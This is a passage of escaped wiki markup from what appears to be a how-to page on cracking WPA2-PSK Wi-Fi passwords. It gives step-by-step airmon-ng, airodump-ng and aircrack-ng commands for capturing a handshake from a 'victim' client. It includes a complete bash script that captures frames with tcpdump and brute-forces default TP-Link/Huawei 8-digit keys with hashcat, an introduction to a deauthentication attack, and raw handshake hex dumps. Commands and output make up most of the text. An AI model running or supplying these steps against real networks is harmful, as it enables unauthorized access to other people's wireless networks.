      phy0  wlan0mon  iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
      PID Name&lt;br /&gt;
      895 wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
Alternatively create a monitoring device by using:&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0&lt;br /&gt;
&lt;br /&gt;
If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called &amp;quot;wlan0mon&amp;quot; or on a different setup &amp;lt;YOUR DEVICE NAME&amp;gt;mon. This is the actual monitoring device.&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   sudo airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
   &lt;br /&gt;
   aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   service network-manager restart&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using &amp;lt;nowiki&amp;gt;tcpdump&amp;lt;/nowiki&amp;gt; instead of &amp;lt;nowiki&amp;gt;airodump-ng&amp;lt;/nowiki&amp;gt;, as well as the use of &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; (or John the ripper) instead of &amp;lt;nowiki&amp;gt;aircrack-ng&amp;lt;/nowiki&amp;gt; can also be ported to Linux and has advantages over the previously listed version. Only the use of &amp;lt;nowiki&amp;gt;airport&amp;lt;/nowiki&amp;gt; works exclusively on macOS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;crack_WPA2_PSK.sh&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: In this script, &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. &amp;lt;br&amp;gt;You may need to change the &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; command at the end of the script to fit your usecase.&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#!/bin/bash&lt;br /&gt;
if [[ $UID != 0 ]]; then&lt;br /&gt;
    echo &amp;quot;Please run this script with sudo:&amp;quot;&lt;br /&gt;
    echo &amp;quot;sudo $0 $*&amp;quot;&lt;br /&gt;
    exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
hr() {&lt;br /&gt;
  local start=$&#039;\e(0&#039; end=$&#039;\e(B&#039; line=&#039;qqqqqqqqqqqqqqqq&#039;&lt;br /&gt;
  local cols=${COLUMNS:-$(tput cols)}&lt;br /&gt;
  while ((${#line} &amp;lt; cols)); do line+=&amp;quot;$line&amp;quot;; done&lt;br /&gt;
  printf &#039;%s%s%s\n&#039; &amp;quot;$start&amp;quot; &amp;quot;${line:0:cols}&amp;quot; &amp;quot;$end&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner() {&lt;br /&gt;
  hr; printf &amp;quot; \033[0;31m${1}\033[0m\n&amp;quot;; hr&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Perform a wireless broadcast scan&amp;quot;&lt;br /&gt;
echo &#039; # airport -s&#039;&lt;br /&gt;
airport -s&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Enter dynamic configuration&amp;quot;&lt;br /&gt;
echo -n &amp;quot;  CHANNEL=&amp;quot;&lt;br /&gt;
read CHANNEL&lt;br /&gt;
echo -n &amp;quot;  BSSID=&amp;quot;&lt;br /&gt;
read BSSID&lt;br /&gt;
echo -n &amp;quot;  INTERFACE=&amp;quot;&lt;br /&gt;
read INTERFACE&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Disassociate from any network&amp;quot;&lt;br /&gt;
echo &#039; # airport -z&#039;&lt;br /&gt;
airport -z&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Set arbitrary channel on the card&amp;quot;&lt;br /&gt;
echo &#039; # airport -c$CHANNEL&#039;&lt;br /&gt;
airport -c$CHANNEL&lt;br /&gt;
echo &#039; # airport -c&#039;&lt;br /&gt;
airport -c&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture beacon frame&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture four-way handshake&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
# banner &amp;quot;Merge beacon frame and four-way handshake&amp;quot;&lt;br /&gt;
# Note: mergecap is part of wireshark&lt;br /&gt;
echo &#039; # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&#039;&lt;br /&gt;
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Convert .cap file to .hccapx format to be used with hashcat&amp;quot;&lt;br /&gt;
# Note: cap2hccapx is part of hashcat-utils&lt;br /&gt;
echo &#039; # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&lt;br /&gt;
banner &amp;quot;Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)&amp;quot;&lt;br /&gt;
# 00000000 - 99999999&lt;br /&gt;
echo &#039; # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&#039;&lt;br /&gt;
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Clean up&amp;quot;&lt;br /&gt;
echo &#039; # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
           The following additional arguments must be specified with this command:&lt;br /&gt;
                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
sudo airport $INTERFACE sniff $CHANNEL&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Disassociate from any network: (-z --disassociate)&lt;br /&gt;
sudo airport -z&lt;br /&gt;
# Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
sudo airport -c$CHANNEL&lt;br /&gt;
&lt;br /&gt;
# Capture a beacon frame from the AP&lt;br /&gt;
sudo tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE&amp;lt; -w beacon.cap&lt;br /&gt;
# Wait for the WPA handshake&lt;br /&gt;
sudo tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -U -vvv -i $INTERFACE -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
# Merge the two files&lt;br /&gt;
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Convert .cap to .hcapx file (Part of hashcat-utils)&lt;br /&gt;
cap2hccapx capture.cap capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Crack using a simple dictionary attack:&lt;br /&gt;
hashcat -m 2500 capture.hccapx wordlist.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a &lt;br /&gt;
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Four-Way Handshake (4WHS)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed using Wireshark or &amp;lt;code&amp;gt;tcpdump&amp;lt;/code&amp;gt;, filtering for &amp;lt;code&amp;gt;eapol&amp;lt;/code&amp;gt; messages or better filtering for &amp;lt;code&amp;gt;ether proto 0x888e and ether host $BSSID&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt; # link-type IEEE802_11_RADIO (802.11 plus radiotap header)&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i en0 -vvv -e -A -XX&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_1.png|4WHS (Message 1 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  8165 aa01 0000 0000 1002 7609 8004 d2a5  .e........v.....&lt;br /&gt;
  0x0020:  0000 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 938d 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 0000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0200 8a00  ..........._....&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 01ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00b0:  0000 0000 0000 0000 0000 0041 e6a6 5d    ...........A..]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=530px&amp;gt;&lt;br /&gt;
image:4WH_2.png|4WHS (Message 2 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  1a76 aa01 0000 0000 1002 7609 8004 eca5  .v........v.....&lt;br /&gt;
  0x0020:  0001 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 4355 fdb7 8801 3a01 98da c46e 00fc  ..CU....:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 0000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0075 0201 0a00  ...........u....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 01bc 67eb 5bfb 4355  ..........g.[.CU&lt;br /&gt;
  0x0070:  f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8  ......`.a...tQ..&lt;br /&gt;
  0x0080:  841c 7d17 dde7 0c47 3300 0000 0000 0000  ..}....G3.......&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0051 17b2 89fc 6428  .........Q....d(&lt;br /&gt;
  0x00b0:  2564 ab92 3571 a67f af00 1630 1401 0000  %d..5q.....0....&lt;br /&gt;
  0x00c0:  0fac 0401 0000 0fac 0401 0000 0fac 0200  ................&lt;br /&gt;
  0x00d0:  0010 afc4 e7                             .....&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_3.png|4WHS (Message 3 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  6f80 aa01 0000 0000 1002 7609 8004 d2a5  o.........v.....&lt;br /&gt;
  0x0020:  0013 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 1000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0097 0213 ca00  ................&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 02ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0100 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 00e4 ef65 1d4f f0c1  ...........e.O..&lt;br /&gt;
  0x00b0:  62be d858 a5ed dab9 bf00 38de c04c 2c9d  b..X......8..L,.&lt;br /&gt;
  0x00c0:  9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4  ...s...&#039;Q.......&lt;br /&gt;
  0x00d0:  8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6  .[..s:..l..R....&lt;br /&gt;
  0x00e0:  4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3  Jz/....)....U.s.&lt;br /&gt;
  0x00f0:  43f9 a8a8 bc98 d2                        C......&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_4.png|4WHS (Message 4 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  cc8d aa01 0000 0000 1002 7609 8004 eca5  ..........v.....&lt;br /&gt;
  0x0020:  0003 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 0000 938d 8801 3a01 98da c46e 00fc  ........:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 1000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0203 0a00  ..........._....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 0200 0000 0000 0000  ................&lt;br /&gt;
  0x0070:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0080:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0009 4d26 1f94 47b2  ..........M&amp;amp;..G.&lt;br /&gt;
  0x00b0:  8fcb 0e44 a9b7 3cea 4500 002c f10f 7c    ...D..&amp;lt;.E..,..|&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
